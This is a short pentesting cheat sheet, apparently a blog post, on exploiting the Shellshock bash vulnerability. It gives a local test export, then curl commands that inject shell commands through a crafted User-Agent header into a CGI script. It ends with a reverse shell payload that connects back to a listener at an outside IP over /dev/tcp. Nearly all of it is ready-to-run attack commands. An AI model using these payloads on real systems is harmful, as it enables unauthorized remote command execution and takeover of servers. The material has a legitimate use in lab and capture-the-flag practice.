Older bash versions may execute code after function definitions.
Via command line
export newfunction='() { echo 'shellshockdemo';}; echo vulnerable'
Via a web server / CGI script
Caution: Try the reverse shell example in Burp also if the curl command fails!
curl http://$target/cgi-bin/admin.cgi -s > before
curl -H "User-Agent: () { :; }; /bin/bash -c 'id; pwd; whoami 2>&1;'" http://$target/cgi-bin/admin.cgi -s > after
diff before after
Remember to redirect stderr if something doesn’t work as expected!
Getting a reverse shell
nc -lvp 443
curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.119.158/443 0>&1;'" http://$target/cgi-bin/admin.cgi -s
Leave a Reply
You must be logged in to post a comment.